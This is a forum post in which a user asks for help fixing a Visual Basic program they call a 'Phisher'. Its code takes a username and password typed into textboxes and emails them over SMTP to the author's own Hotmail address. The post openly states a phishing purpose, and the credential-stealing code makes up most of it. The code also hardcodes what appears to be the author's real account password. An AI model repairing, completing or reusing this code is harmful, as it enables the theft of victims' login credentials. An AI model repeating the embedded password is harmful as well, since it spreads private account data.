I have downloaded Visual Basic 2010 Express . and I want to make a program on it that will send information entered in the Textboxes, and ill be sent to an email address. I think its called a Phisher. could you supply me with the coding for this, my main code is :
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Email As New System.Net.Mail.MailMessage("themysterious180@hotmail.com", "themysterious180@hotmail.com")
Email.Subject = "Username: " & TextBox1.Text
Email.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim mailClient As New System.Net.Mail.SmtpClient()
'This object stores the authentication values
Dim basicAuthenticationInfo As _
New System.Net.NetworkCredential("themysterious180@hotmail.com", "richy176")
mailClient.Host = "smtp.live.com"
mailClient.Port = 587
mailClient.EnableSsl = True
mailClient.UseDefaultCredentials = False
mailClient.Credentials = basicAuthenticationInfo
mailClient.Send(Email)
End Sub
when i run the program i get an error .. please help me